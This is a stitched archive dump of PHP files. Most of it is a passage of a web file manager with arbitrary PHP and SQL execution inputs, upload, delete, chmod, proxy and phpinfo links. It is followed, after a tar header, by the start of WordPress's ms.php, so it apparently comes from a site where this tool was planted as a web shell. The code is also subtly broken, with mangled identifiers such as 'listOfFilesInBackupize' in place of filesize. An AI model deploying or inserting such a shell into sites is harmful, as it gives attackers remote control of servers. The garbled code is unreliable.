                            	'.&nbsp;'.fm_link('download',$path_codes.$destination,__('Download'),__('Download').' '. $destination)
                            	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path_codes.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
                            } else $msg .= __('Error occurred').': '.__('no listOfFilesInBackup');
	}

?>
<table class="whole" id="header_table" >

<tr>
                       <th colspan="2"><?=__('File manager')?><?=(!empty($path_codes)?' - '.$path_codes:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>

</tr>
<?php } ?>

<tr>
                       <td class="row2">
                            <table>
                            	<tr>

                            	<td>
                                                           <?=fm_home()?>

                            	</td>

                            	<td>

                            	<?php if(!empty($fm_config['make_directory'])) { ?>
                                                           <form method="post" action="<?=$url_inc?>">
                                                           <input type="hidden" name="path" value="<?=$path_codes?>" />

                                                           <input type="text" name="dirname" size="15">
                                                           <input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                                           </form>
                            	<?php } ?>
                            	</td>
                            	<td>

                            	<?php if(!empty($fm_config['new_file'])) { ?>
                                                           <form method="post" action="<?=$url_inc?>">

                                                           <input type="hidden" name="path"                        value="<?=$path_codes?>" />

                                                           <input type="text"   name="filename" size="15">

                                                           <input type="submit" name="mkfile"   value="<?=__('New file')?>">
                                                           </form>

                            	<?php } ?>

                            	</td>

                            	<td>

                                                           <form  method="post" action="<?=$url_inc?>" style="display:inline">



                                                           <input type="hidden" name="path" value="<?=$path_codes?>" />
                                                           <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">



                                                           <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
                                                           <input type="submit" name="search" value="<?=__('Search')?>">

                                                           </form>

                            	</td>

                            	<td>

                            	<?=fm_run_input('php')?>
                            	</td>

                            	<td>

                            	<?=fm_run_input('sql')?>

                            	</td>
                            	</tr>
                            </table>

                       </td>
                       <td class="row3">

                            <table>
                            <tr>

                            <td>

                            <?php if (!empty($fm_config['upload_file'])) { ?>
                            	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                            	<input type="hidden" name="path" value="<?=$path_codes?>" />
                            	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                            	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                            	<input type="submit" name="test" value="<?=__('Upload')?>" />

                            	</form>

                            <?php } ?>

                            </td>
                            <td>

                            <?php if ($auth_logs['authorize']) { ?>

                            	<form action="" method="post">&nbsp;&nbsp;&nbsp;

                            	<input name="quit" type="hidden" value="1">
                            	<?=__('Hello')?>, <?=$auth_logs['login']?>
                            	<input type="submit" value="<?=__('Quit')?>">

                            	</form>

                            <?php } ?>
                            </td>

                            <td>

                            <?=fm_lang_form($language)?>
                            </td>
                            <tr>
                            </table>

                       </td>

</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>

<tr> 

                       <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                       <th style="white-space:nowrap"> <?=__('Size')?> </th>

                       <th style="white-space:nowrap"> <?=__('Date')?> </th>
                       <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                       <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>

</thead>
<tbody>
<?php

$elements = fm_scan_dir($path_codes, '', 'all', true);
$dirs = array();

$listOfFilesInBackup = array();

foreach ($elements as $file){

                       if(@is_dir($path_codes . $file)){
                                              $dirs[] = $file;

                       } else {

                                              $listOfFilesInBackup[] = $file;
                       }

}
natsort($dirs); natsort($listOfFilesInBackup);
$elements = array_merge($dirs, $listOfFilesInBackup);


foreach ($elements as $file){

                       $filename = $path_codes . $file;

                       $filedata = @stat($filename);
                       if(@is_dir($filename)){

                            $filedata[7] = '';
                            if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                              $link = '<a href="'.$url_inc.'&path='.$path_codes.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
                                              $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
                            $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
                                              $style = 'row2';
                             if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path_codes  . '\'"'; else $alert = '';
                       } else {

                            $link = 

                            	$fm_config['show_img']&&@getimagesize($filename) 
                            	? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                            	. fm_img_link($filename)

                            	.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                            	: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path_codes. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
                            $e_arr = explode(".", $file);
                            $ext = end($e_arr);
                                              $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
                            $arlink = in_array($ext,array('zip','gz','tar')) 
                            ? ''

                            : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
                                              $style = 'row1';

                            $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path_codes  . '\'"';

                       }
                       $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
                       $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path_codes . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
                       $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path_codes . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 

                       <td><?=$link?></td>
                       <td><?=$filedata[7]?></td>

                       <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                       <td><?=$rightstext?></td>

                       <td><?=$deletelink?></td>




                       <td><?=$renamelink?></td>
                       <td><?=$loadlink?></td>

                       <td><?=$arlink?></td>

</tr>

<?php
                       }
}

?>

</tbody>

</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';

	document.body.appendChild(element);
	element.click();

	document.body.removeChild(element);
}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
                            c = m.charCodeAt(l);

                            if (128 > c) d = 1;

                            else

                            	for (d = 2; c >= 2 << 5 * d;) ++d;

                            for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}

	b && (g += k[f << 6 - b]);
	return g
}




var tableToExcelData = (function() {
                       var uri = 'data:application/vnd.ms-excel;base64,',

                       template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
                       format = function(s, c) {
                                                                     return s.replace(/{(\w+)}/g, function(m, p) {
                                                                                            return c[p];
                                                                     })

                                              }

                       return function(table, name) {
                                              if (!table.nodeType) table = document.getElementById(table)
                                              var ctx = {
                                                                     worksheet: name || 'Worksheet',
                                                                     table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                              }

                            t = new Date();
                            filename = 'fm_' + t.toISOString() + '.xls'
                            download_xls(filename, base64_encode(format(template, ctx)))
                       }

})();


var table2Excel = function () {



                       var ua = window.navigator.userAgent;

                       var msie = ua.indexOf("MSIE ");






	this.CreateExcelSheet = 
                            function(el, name){

                            	if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer



                                                           var x = document.getElementById(el).rows;

                                                           var xls = new ActiveXObject("Excel.Application");

                                                           xls.visible = true;
                                                           xls.Workbooks.Add
                                                           for (i = 0; i < x.length; i++) {

                                                           	var y = x[i].cells;


                                                           	for (j = 0; j < y.length; j++) {
                                                                                       xls.Cells(i + 1, j + 1).Value = y[j].innerText;
                                                           	}

                                                           }
                                                           xls.Visible = true;
                                                           xls.UserControl = true;

                                                           return xls;

                            	} else {
                                                           tableToExcelData(el, name);

                            	}

                            }
}
</script>
</body>
</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {
	var $initializeBackupArchiveName = '';

	var $temporaryFileForBackup = 0;
	var $currentPositionInFile = 0;

	var $isFileCompressedWithGzip = true;
	var $errorLogDetails = array();
	var $listOfFilesInBackup = array();

	

	function __construct(){
                            if (!isset($this->errorLogDetails)) $this->errorLogDetails = array();
	}
	

	function initializeBackupArchiveProcess($file_list){

                            $result = false;

                            if (file_exists($this->initializeBackupArchiveName) && is_file($this->initializeBackupArchiveName)) 	$newArchive = false;

                            else $newArchive = true;

                            if ($newArchive){
                            	if (!$this->startFileWriteProcess()) return false;

                            } else {
                            	if (listOfFilesInBackupize($this->initializeBackupArchiveName) == 0)	return $this->startFileWriteProcess();
                            	if ($this->isFileCompressedWithGzip) {
                                                           $this->closeTemporaryFilePointer();

                                                           if (!rename($this->initializeBackupArchiveName, $this->initializeBackupArchiveName.'.tmp')){
                                                           	$this->errorLogDetails[] = __('Cannot rename').' '.$this->initializeBackupArchiveName.__(' to ').$this->initializeBackupArchiveName.'.tmp';
                                                           	return false;

                                                           }
                                                           $tmpArchive = gzopen($this->initializeBackupArchiveName.'.tmp', 'rb');
                                                           if (!$tmpArchive){
                                                           	$this->errorLogDetails[] = $this->initializeBackupArchiveName.'.tmp '.__('is not readable');
                                                           	rename($this->initializeBackupArchiveName.'.tmp', $this->initializeBackupArchiveName);
                                                           	return false;
                                                           }

                                                           if (!$this->startFileWriteProcess()){
                                                           	rename($this->initializeBackupArchiveName.'.tmp', $this->initializeBackupArchiveName);
                                                           	return false;

                                                           }

                                                           $buffer = gzread($tmpArchive, 512);
                                                           if (!gzeof($tmpArchive)){

                                                           	do {
                                                                                       $binaryData = pack('a512', $buffer);

                                                                                       $this->writeBlockOfDataToFile($binaryData);

                                                                                       $buffer = gzread($tmpArchive, 512);
                                                           	}
                                                           	while (!gzeof($tmpArchive));

                                                           }

                                                           gzclose($tmpArchive);
                                                           unlink($this->initializeBackupArchiveName.'.tmp');

                            	} else {

                                                           $this->temporaryFileForBackup = fopen($this->initializeBackupArchiveName, 'r+b');

                                                           if (!$this->temporaryFileForBackup)	return false;
                            	}

                            }

                            if (isset($file_list) && is_array($file_list)) {
                            if (count($file_list)>0)
                            	$result = $this->mergeFilesIntoSingleArchive($file_list);

                            } else $this->errorLogDetails[] = __('No file').__(' to ').__('Archive');
                            if (($result)&&(is_resource($this->temporaryFileForBackup))){
                            	$binaryData = pack('a512', '');

                            	$this->writeBlockOfDataToFile($binaryData);
                            }
                            $this->closeTemporaryFilePointer();
                            if ($newArchive && !$result){

                            $this->closeTemporaryFilePointer();
                            unlink($this->initializeBackupArchiveName);
                            }

                            return $result;
	}

	function restoreBackupFileFromArchive($path_codes){

                            $fileName = $this->initializeBackupArchiveName;

                            if (!$this->isFileCompressedWithGzip){

                            	if (file_exists($fileName)){

                                                           if ($fp = fopen($fileName, 'rb')){
                                                           	$data = fread($fp, 2);
                                                           	fclose($fp);

                                                           	if ($data == '\37\213'){

                                                                                       $this->isFileCompressedWithGzip = true;

                                                           	}

                                                           }

                            	}
                            	elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isFileCompressedWithGzip = true;
                            } 
                            $result = true;
                            if ($this->isFileCompressedWithGzip) $this->temporaryFileForBackup = gzopen($fileName, 'rb');
                            else $this->temporaryFileForBackup = fopen($fileName, 'rb');
                            if (!$this->temporaryFileForBackup){
                            	$this->errorLogDetails[] = $fileName.' '.__('is not readable');
                            	return false;
                            }
                            $result = $this->unmergeFilesIntoSingleArchive($path_codes);

                            	$this->closeTemporaryFilePointer();

                            return $result;
	}


	function displayErrorDetailsLog	($message = '') {
                            $Errors = $this->errorLogDetails;

                            if(count($Errors)>0) {
                            if (!empty($message)) $message = ' ('.$message.')';

                            	$message = __('Error occurred').$message.': <br/>';

                            	foreach ($Errors as $value)

                                                           $message .= $value.'<br/>';

                            	return $message;	

                            } else return '';

                            
	}
	
	function mergeFilesIntoSingleArchive($file_array){

                            $result = true;

                            if (!$this->temporaryFileForBackup){
                            	$this->errorLogDetails[] = __('Invalid file descriptor');

                            	return false;
                            }
                            if (!is_array($file_array) || count($file_array)<=0)
                                                return true;
                            for ($i = 0; $i<count($file_array); $i++){

                            	$filename = $file_array[$i];
                            	if ($filename == $this->initializeBackupArchiveName)
                                                           continue;
                            	if (strlen($filename)<=0)
                                                           continue;
                            	if (!file_exists($filename)){
                                                           $this->errorLogDetails[] = __('No file').' '.$filename;

                                                           continue;

                            	}
                            	if (!$this->temporaryFileForBackup){

                            	$this->errorLogDetails[] = __('Invalid file descriptor');
                            	return false;
                            	}
                            if (strlen($filename)<=0){
                            	$this->errorLogDetails[] = __('Filename').' '.__('is incorrect');;
                            	return false;

                            }

                            $filename = str_replace('\\', '/', $filename);

                            $keep_filename = $this->standardizeFilePathFormat($filename);
                            if (is_file($filename)){
                            	if (($file = fopen($filename, 'rb')) == 0){
                                                           $this->errorLogDetails[] = __('Mode ').__('is incorrect');
                            	}
                                                           if(($this->currentPositionInFile == 0)){
                                                           	if(!$this->writeHeaderDataToFile($filename, $keep_filename))
                                                                                       return false;

                                                           }

                                                           while (($buffer = fread($file, 512)) != ''){

                                                           	$binaryData = pack('a512', $buffer);

                                                           	$this->writeBlockOfDataToFile($binaryData);

                                                           }
                            	fclose($file);
                            }	else $this->writeHeaderDataToFile($filename, $keep_filename);
                            	if (@is_dir($filename)){

                                                           if (!($handle = opendir($filename))){
                                                           	$this->errorLogDetails[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
                                                           	continue;

                                                           }
                                                           while (false !== ($dir_logs = readdir($handle))){

                                                           	if ($dir_logs!='.' && $dir_logs!='..'){

                                                                                       $file_array_tmp = array();
                                                                                       if ($filename != '.')
                                                                                       	$file_array_tmp[] = $filename.'/'.$dir_logs;
                                                                                       else

                                                                                       	$file_array_tmp[] = $dir_logs;

                                                                                       $result = $this->mergeFilesIntoSingleArchive($file_array_tmp);
                                                           	}

                                                           }

                                                           unset($file_array_tmp);
                                                           unset($dir_logs);

                                                           unset($handle);
                            	}
                            }
                            return $result;

	}

	function unmergeFilesIntoSingleArchive($path_codes){ 

                            $path_codes = str_replace('\\', '/', $path_codes);
                            if ($path_codes == ''	|| (substr($path_codes, 0, 1) != '/' && substr($path_codes, 0, 3) != '../' && !strpos($path_codes, ':')))	$path_codes = './'.$path_codes;
                            clearstatcache();

                            while (strlen($binaryData = $this->retrieveBlockOfFileData()) != 0){
                            	if (!$this->retrieveHeaderInformationFromFile($binaryData, $header)) return false;
                            	if ($header['filename'] == '') continue;

                            	if ($header['typeflag'] == 'L'){                            	//reading long header

                                                           $filename = '';
                                                           $decr = floor($header['size']/512);

                                                           for ($i = 0; $i < $decr; $i++){
                                                           	$content = $this->retrieveBlockOfFileData();
                                                           	$filename .= $content;
                                                           }

                                                           if (($laspiece = $header['size'] % 512) != 0){

                                                           	$content = $this->retrieveBlockOfFileData();

                                                           	$filename .= substr($content, 0, $laspiece);
                                                           }

                                                           $binaryData = $this->retrieveBlockOfFileData();

                                                           if (!$this->retrieveHeaderInformationFromFile($binaryData, $header)) return false;

                                                           else $header['filename'] = $filename;
                                                           return true;

                            	}
                            	if (($path_codes != './') && ($path_codes != '/')){

                                                           while (substr($path_codes, -1) == '/') $path_codes = substr($path_codes, 0, strlen($path_codes)-1);


                                                           if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path_codes.$header['filename'];




                                                           else $header['filename'] = $path_codes.'/'.$header['filename'];

                            	}
                            	

                            	if (file_exists($header['filename'])){

                                                           if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
                                                           	$this->errorLogDetails[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                                           	return false;
                                                           }

                                                           if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
                                                           	$this->errorLogDetails[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
                                                           	return false;
                                                           }

                                                           if (!is_writeable($header['filename'])){
                                                           	$this->errorLogDetails[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                                           	return false;
                                                           }
                            	} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
                                                           $this->errorLogDetails[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
                                                           return false;
                            	}



                            	if ($header['typeflag'] == '5'){
                                                           if (!file_exists($header['filename']))                            {
                                                           	if (!mkdir($header['filename'], 0777))	{
                                                                                       

                                                                                       $this->errorLogDetails[] = __('Cannot create directory').' '.$header['filename'];

                                                                                       return false;
                                                           	} 

                                                           }

                            	} else {
                                                           if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                                           	$this->errorLogDetails[] = __('Cannot write to file').' '.$header['filename'];
                                                           	return false;

                                                           } else {

                                                           	$decr = floor($header['size']/512);

                                                           	for ($i = 0; $i < $decr; $i++) {


                                                                                       $content = $this->retrieveBlockOfFileData();
                                                                                       fwrite($destination, $content, 512);
                                                           	}

                                                           	if (($header['size'] % 512) != 0) {

                                                                                       $content = $this->retrieveBlockOfFileData();
                                                                                       fwrite($destination, $content, ($header['size'] % 512));
                                                           	}
                                                           	fclose($destination);
                                                           	touch($header['filename'], $header['time']);

                                                           }
                                                           clearstatcache();
                                                           if (listOfFilesInBackupize($header['filename']) != $header['size']) {
                                                           	$this->errorLogDetails[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
                                                           	return false;

                                                           }

                            	}

                            	if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
                            	if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';




                            	$this->dirs[] = $file_dir;

                            	$this->listOfFilesInBackup[] = $header['filename'];
	
                            }

                            return true;
	}



	function dirCheck($dir_logs){
                            $parent_dir = dirname($dir_logs);

                            if ((@is_dir($dir_logs)) or ($dir_logs == ''))
                            	return true;


                            if (($parent_dir != $dir_logs) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))

                            	return false;



                            if (!mkdir($dir_logs, 0777)){

                            	$this->errorLogDetails[] = __('Cannot create directory').' '.$dir_logs;
                            	return false;
                            }

                            return true;

	}


	function retrieveHeaderInformationFromFile($binaryData, &$header){

                            if (strlen($binaryData)==0){

                            	$header['filename'] = '';
                            	return true;
                            }

                            if (strlen($binaryData) != 512){
                            	$header['filename'] = '';
                            	$this->__('Invalid block size').': '.strlen($binaryData);
                            	return false;

                            }



                            $calculatedChecksumOfFile = 0;
                            for ($i = 0; $i < 148; $i++) $calculatedChecksumOfFile+=ord(substr($binaryData, $i, 1));

                            for ($i = 148; $i < 156; $i++) $calculatedChecksumOfFile += ord(' ');

                            for ($i = 156; $i < 512; $i++) $calculatedChecksumOfFile+=ord(substr($binaryData, $i, 1));


                            $unpack_data = unpack('a100filename/a8mode/a8userIdentifierKey/a8group_id/a12size/a12time/a8calculatedChecksumOfFile/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


                            $header['calculatedChecksumOfFile'] = OctDec(trim($unpack_data['calculatedChecksumOfFile']));

                            if ($header['calculatedChecksumOfFile'] != $calculatedChecksumOfFile){

                            	$header['filename'] = '';
                            	if (($calculatedChecksumOfFile == 256) && ($header['calculatedChecksumOfFile'] == 0)) 	return true;
                            	$this->errorLogDetails[] = __('Error calculatedChecksumOfFile for file ').$unpack_data['filename'];
                            	return false;

                            }


                            if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

                            $header['filename'] = trim($unpack_data['filename']);

                            $header['mode'] = OctDec(trim($unpack_data['mode']));

                            $header['userIdentifierKey'] = OctDec(trim($unpack_data['userIdentifierKey']));

                            $header['group_id'] = OctDec(trim($unpack_data['group_id']));
                            $header['size'] = OctDec(trim($unpack_data['size']));
                            $header['time'] = OctDec(trim($unpack_data['time']));
                            return true;

	}



	function writeHeaderDataToFile($filename, $keep_filename){

                            $packF = 'a100a8a8a8a12A12';
                            $packL = 'a1a100a6a2a32a32a8a8a155a12';

                            if (strlen($keep_filename)<=0) $keep_filename = $filename;

                            $filename_ready = $this->standardizeFilePathFormat($keep_filename);



                            if (strlen($filename_ready) > 99){                                                                                       	//write long header

                            $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
                            $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');



                                              //  Calculate the calculatedChecksumOfFile

                            $calculatedChecksumOfFile = 0;
                                              //  First part of the header
                            for ($i = 0; $i < 148; $i++)
                            	$calculatedChecksumOfFile += ord(substr($dataFirst, $i, 1));
                                              //  Ignore the calculatedChecksumOfFile value and replace it by ' ' (space)

                            for ($i = 148; $i < 156; $i++)

                            	$calculatedChecksumOfFile += ord(' ');

                                              //  Last part of the header

                            for ($i = 156, $j=0; $i < 512; $i++, $j++)

                            	$calculatedChecksumOfFile += ord(substr($dataLast, $j, 1));
                                              //  Write the first 148 bytes of the header in the archive

                            $this->writeBlockOfDataToFile($dataFirst, 148);

                                              //  Write the calculated calculatedChecksumOfFile
                            $calculatedChecksumOfFile = sprintf('%6s ', DecOct($calculatedChecksumOfFile));
                            $binaryData = pack('a8', $calculatedChecksumOfFile);
                            $this->writeBlockOfDataToFile($binaryData, 8);
                                              //  Write the last 356 bytes of the header in the archive





                            $this->writeBlockOfDataToFile($dataLast, 356);


                            $temporaryFileForBackupname = $this->standardizeFilePathFormat($filename_ready);





                            $i = 0;
                            	while (($buffer = substr($temporaryFileForBackupname, (($i++)*512), 512)) != ''){

                                                           $binaryData = pack('a512', $buffer);

                                                           $this->writeBlockOfDataToFile($binaryData);

                            	}
                            return true;






                            }
                            $file_info = stat($filename);

                            if (@is_dir($filename)){

                            	$typeflag = '5';
                            	$size = sprintf('%11s ', DecOct(0));

                            } else {
                            	$typeflag = '';

                            	clearstatcache();

                            	$size = sprintf('%11s ', DecOct(listOfFilesInBackupize($filename)));

                            }
                            $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

                            $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

                            $calculatedChecksumOfFile = 0;

                            for ($i = 0; $i < 148; $i++) $calculatedChecksumOfFile += ord(substr($dataFirst, $i, 1));
                            for ($i = 148; $i < 156; $i++) $calculatedChecksumOfFile += ord(' ');
                            for ($i = 156, $j = 0; $i < 512; $i++, $j++) $calculatedChecksumOfFile += ord(substr($dataLast, $j, 1));
                            $this->writeBlockOfDataToFile($dataFirst, 148);
                            $calculatedChecksumOfFile = sprintf('%6s ', DecOct($calculatedChecksumOfFile));

                            $binaryData = pack('a8', $calculatedChecksumOfFile);
                            $this->writeBlockOfDataToFile($binaryData, 8);
                            $this->writeBlockOfDataToFile($dataLast, 356);

                            return true;

	}



	function startFileWriteProcess(){

                            if ($this->isFileCompressedWithGzip)
                            	$this->temporaryFileForBackup = gzopen($this->initializeBackupArchiveName, 'wb9f');
                            else
                            	$this->temporaryFileForBackup = fopen($this->initializeBackupArchiveName, 'wb');


                            if (!($this->temporaryFileForBackup)){

                            	$this->errorLogDetails[] = __('Cannot write to file').' '.$this->initializeBackupArchiveName;
                            	return false;
                            }

                            return true;
	}


	function retrieveBlockOfFileData(){
                            if (is_resource($this->temporaryFileForBackup)){

                            	if ($this->isFileCompressedWithGzip)
                                                           $block = gzread($this->temporaryFileForBackup, 512);
                            	else

                                                           $block = fread($this->temporaryFileForBackup, 512);
                            } else	$block = '';


                            return $block;

	}


	function writeBlockOfDataToFile($data, $length = 0){
                            if (is_resource($this->temporaryFileForBackup)){
                            

                            	if ($length === 0){

                                                           if ($this->isFileCompressedWithGzip)

                                                           	gzputs($this->temporaryFileForBackup, $data);

                                                           else
                                                           	fputs($this->temporaryFileForBackup, $data);

                            	} else {

                                                           if ($this->isFileCompressedWithGzip)
                                                           	gzputs($this->temporaryFileForBackup, $data, $length);

                                                           else

                                                           	fputs($this->temporaryFileForBackup, $data, $length);
                            	}

                            }
	}

	function closeTemporaryFilePointer(){

                            if (is_resource($this->temporaryFileForBackup)){
                            	if ($this->isFileCompressedWithGzip)
                                                           gzclose($this->temporaryFileForBackup);
                            	else

                                                           fclose($this->temporaryFileForBackup);


                            	$this->temporaryFileForBackup = 0;

                            }
	}


	function standardizeFilePathFormat($path_codes){
                            if (strlen($path_codes)>0){

                            	$path_codes = str_replace('\\', '/', $path_codes);
                            	$partPath = explode('/', $path_codes);
                            	$els = count($partPath)-1;
                            	for ($i = $els; $i>=0; $i--){

                                                           if ($partPath[$i] == '.'){

                                                                                                                   //  Ignore this directory

                                                                                            } elseif ($partPath[$i] == '..'){
                                                                                                                   $i--;

                                                                                            }
                                                           elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                            }	else
                                                           	$result = $partPath[$i].($i!=$els ? '/'.$result : '');

                            	}

                            } else $result = '';

                            
                            return $result;
	}

}

?>ms.php000064400000102166150275632050005707 0ustar00<?php
/**
 * Multisite administration functions.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/**
 * Determines whether uploaded file exceeds space quota.
 *
 * @since 3.0.0
 *
 * @param array $file An element from the `$_FILES` array for a given file.
 * @return array The `$_FILES` array element with 'error' key set if file exceeds quota. 'error' is empty otherwise.
 */
function check_upload_size( $file ) {
	if ( get_site_option( 'upload_space_check_disabled' ) ) {
		return $file;
	}

	if ( $file['error'] > 0 ) { // There's already an error.
		return $file;
	}

	if ( defined( 'WP_IMPORTING' ) ) {
		return $file;
	}

	$space_left = get_upload_space_available();

	$file_size = filesize( $file['tmp_name'] );
	if ( $space_left < $file_size ) {
		/* translators: %s: Required disk space in kilobytes. */
		$file['error'] = sprintf( __( 'Not enough space to upload. %s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) );
	}

	if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
		/* translators: %s: Maximum allowed file size in kilobytes. */
		$file['error'] = sprintf( __( 'This file is too big. Files must be less than %s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) );
	}

